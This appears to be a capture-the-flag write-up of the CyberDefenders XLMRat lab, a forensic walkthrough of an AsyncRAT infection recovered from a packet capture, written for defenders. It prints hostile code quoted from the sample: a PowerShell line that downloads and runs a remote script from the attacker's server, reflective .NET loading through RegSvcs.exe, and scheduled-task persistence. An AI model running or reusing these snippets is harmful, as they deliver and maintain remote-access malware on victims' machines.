914 words
5 minutes
XLMRat Lab Writeup

XLMRat lab banner

Overview#

XLMRat is a compact network-forensics lab where the whole compromise chain is visible in one PCAP: a host downloads an obfuscated script, that script pulls a fake image, the fake image turns out to be PowerShell, and the PowerShell reconstructs and launches a .NET malware payload.

Official challenge: CyberDefenders XLMRat

Lab scenario

The important part of this lab is not just answering the questions. The better workflow is to build the chain in order:

  • find the first suspicious download,
  • deobfuscate the script that caused the next download,
  • carve the second-stage content,
  • recover the embedded executable,
  • use file metadata and reputation results to classify it,
  • map the post-compromise behavior to execution, persistence, and C2 techniques.

Case Summary#

FieldValue
Victim IP10.1.9.101
Attacker IP45.126.209.4
Initial HTTP port222
C2 port8808
First script/xlm.txt
Second-stage URLhttp://45.126.209.4:222/mdm.jpg
C2 domainmadmrx.duckdns.org
Payload SHA2561eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798
Family labelAsyncRAT

PCAP Triage#

I started with the HTTP requests because cleartext web traffic usually exposes the initial delivery chain faster than packet-by-packet browsing.

Terminal window
tshark -r 236-XLMRat.pcap -Y http.request \
-T fields \
-e frame.number -e frame.time_relative -e ip.src -e ip.dst \
-e http.request.method -e http.host -e http.request.uri

The PCAP contains two very loud HTTP requests:

Wireshark HTTP filter showing the XLMRat delivery requests

FrameTimeSourceDestinationRequest
40.29514110.1.9.10145.126.209.4GET /xlm.txt
121.58556310.1.9.10145.126.209.4GET /mdm.jpg

The response metadata already looks suspicious:

FrameResponseContent-TypeLength
7200 OKtext/plain1974
344200 OKimage/jpeg431208

The second response claims to be an image, but the stream is readable PowerShell, not JPEG data.

Wireshark HTTP stream showing the PowerShell stage

The same infrastructure also answers the lab’s hosting-provider question. A lookup for 45.126.209.4 maps the organization and ISP to ReliableSite.net LLC.

IP lookup showing ReliableSite.net ownership for 45.126.209.4

Stage 1: VBScript Loader#

The first object, xlm.txt, is a VBScript loader. It splits a PowerShell expression into tiny string fragments, joins them, and launches it with WScript.Shell.

After rebuilding the fragments, the payload becomes:

Terminal window
[BYTe[]];
$A123='IeX(NeW-OBJeCT NeT.W';
$B456='eBCLIeNT).DOWNLO';
[BYTe[]];
$C789='VAN(''http://45.126.209.4:222/mdm.jpg'')'.RePLACe('VAN','ADSTRING');
[BYTe[]];
IeX($A123+$B456+$C789)

Normalized, that is simply:

Terminal window
IEX(New-Object Net.WebClient).DownloadString('http://45.126.209.4:222/mdm.jpg')

So the first stage does not contain the full malware. Its job is to hide the URL and execute whatever comes back from mdm.jpg.

Stage 2: Fake JPG PowerShell#

The mdm.jpg object is PowerShell with three interesting jobs:

  • rebuild a PE file from hex strings,
  • load and invoke it reflectively,
  • drop helper scripts under C:\Users\Public.

The PE reconstruction is visible because the script starts with an MZ header encoded as underscore-separated hex bytes.

CyberChef converting hex bytes back into a PE

Saving the decoded bytes gives the recovered executable.

Saving the recovered executable as download.dat

The local hash confirms the payload:

Terminal window
sha256sum download.dat
1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798 download.dat

Recovered payload SHA256

The file command also tells us what kind of payload we are dealing with:

PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

Reflective Execution#

The payload is not simply written to disk and double-clicked. The script loads one embedded .NET assembly into memory and uses it to execute the second PE through a LOLBin path.

The key execution pattern is:

Terminal window
$Fu = [Reflection.Assembly]::Load($pe)
$NK = $Fu.GetType('NewPE2.PE')
$MZ = $NK.GetMethod('Execute')
$AC = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
$VA = @($AC, $NKbb)
$EY = $MZ.Invoke($null, [object[]] $VA)

RegSvcs.exe is useful to the attacker because it is a Microsoft-signed .NET utility. Here it is abused as the host process for stealthy .NET execution.

RegSvcs.exe used as the .NET execution host

Dropped Files and Persistence#

The script writes three files into C:\Users\Public:

  • Conted.ps1
  • Conted.bat
  • Conted.vbs

Dropped script chain

The flow is layered:

  • Conted.vbs uses WScript.Shell to run a file hidden.
  • Conted.bat starts powershell.exe with -NoProfile, -WindowStyle Hidden, and -ExecutionPolicy Bypass.
  • Conted.ps1 contains the actual reflective loader content.

The script then registers a scheduled task named Update Edge that runs every two minutes:

Terminal window
$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
$taskDefinition = $scheduler.NewTask(0)
$trigger = $taskDefinition.Triggers.Create(1)
$trigger.Repetition.Interval = "PT2M"
$action = $taskDefinition.Actions.Create(0)
$action.Path = "C:\Users\Public\Conted.vbs"
$taskFolder.RegisterTaskDefinition("Update Edge", $taskDefinition, 6, $null, $null, 3)

That gives the malware persistence even if the initial process dies.

The script writing Conted.vbs

C2 Traffic#

After the payload stage, the victim performs a DNS lookup:

10.1.9.101 -> 10.1.9.1 A? madmrx.duckdns.org
10.1.9.1 -> 10.1.9.101 madmrx.duckdns.org A 45.126.209.4 ...

Shortly after that, the victim opens a long TLS session to the same attacker infrastructure:

FrameUTC TimeEvent
3502024-01-09 17:29:48DNS query for madmrx.duckdns.org
3552024-01-09 17:29:49TLS Client Hello to 45.126.209.4:8808

The TCP conversation summary makes the C2 session stand out:

10.1.9.101:49723 <-> 45.126.209.4:8808
1199 frames, 133 kB, duration 624.6773 seconds

That long encrypted conversation is consistent with a RAT beacon/control channel after successful execution.

Malware Classification#

Uploading the recovered executable hash to VirusTotal gives a strong malicious verdict. The screenshot shows 61/71 engines flagging the file, with a popular threat label of trojan.asyncrat/msil.

VirusTotal detection result

The Details tab gives the timestamp and confirms the file type:

  • SHA256: 1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798
  • File type: Win32 EXE / .NET executable
  • Creation time: 2023-10-30 15:08:44 UTC

VirusTotal details tab

Alibaba labels the sample as:

Backdoor:MSIL/AsyncRat.a2786761

So the family answer is AsyncRAT.

Timeline#

Time UTCWhat happened
2024-01-09 17:27:27Victim requests /xlm.txt from 45.126.209.4:222.
2024-01-09 17:27:29Victim requests /mdm.jpg, the PowerShell second stage.
2024-01-09 17:29:48Victim resolves madmrx.duckdns.org.
2024-01-09 17:29:49Victim starts TLS communication with 45.126.209.4:8808.
2024-01-09 17:40:13Capture ends while encrypted C2 traffic is still present.

MITRE ATT&CK Mapping#

TechniqueEvidence
T1059.001 PowerShellpowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass
T1059.005 VBScriptWScript.Shell launches Conted.bat through Conted.vbs.
T1105 Ingress Tool TransferDownload of /mdm.jpg from 45.126.209.4:222.
T1027 Obfuscated Files or InformationVBScript string fragmentation and fake .jpg extension.
T1127 Trusted Developer Utilities Proxy ExecutionRegSvcs.exe used as the .NET execution host.
T1053.005 Scheduled TaskScheduled task Update Edge repeats every two minutes.
T1573 Encrypted ChannelTLS session to 45.126.209.4:8808.
T1583.001 Domain InfrastructureDynamic DNS domain madmrx.duckdns.org.

Final Answers#

QuestionAnswer
First malware-stage URLhttp://45.126.209.4:222/mdm.jpg
Hosting providerreliableSite.net
Malware executable SHA2561eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798
Alibaba family labelasyncrat
Malware creation timestamp2023-10-30 15:08
LOLBin full pathC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Dropped filesConted.vbs,Conted.ps1,Conted.bat

Solved answers 1

Solved answers 2

Indicators#

45.126.209.4
45.126.209.4:222
45.126.209.4:8808
madmrx.duckdns.org
http://45.126.209.4:222/xlm.txt
http://45.126.209.4:222/mdm.jpg
C:\Users\Public\Conted.ps1
C:\Users\Public\Conted.bat
C:\Users\Public\Conted.vbs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Update Edge
1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798

Takeaways#

The lab is a good reminder that file extensions and content types are weak evidence. The most valuable pivot was the HTTP stream: mdm.jpg looked like an image in the request but behaved like PowerShell when inspected.

The full attack chain is also a clean example of modern commodity malware delivery: script-based download, obfuscated PowerShell, reflective .NET loading, LOLBin execution, scheduled-task persistence, and encrypted C2. Once those pieces are connected, the AsyncRAT classification is no longer just a VirusTotal label; it matches the behavior seen in the capture.

XLMRat Lab Writeup
https://cyberdefenders.org/blueteam-ctf-challenges/xlmrat
Author
xDU0
Published at
2026-07-01
License
CC BY-NC-SA 4.0

Some information may be outdated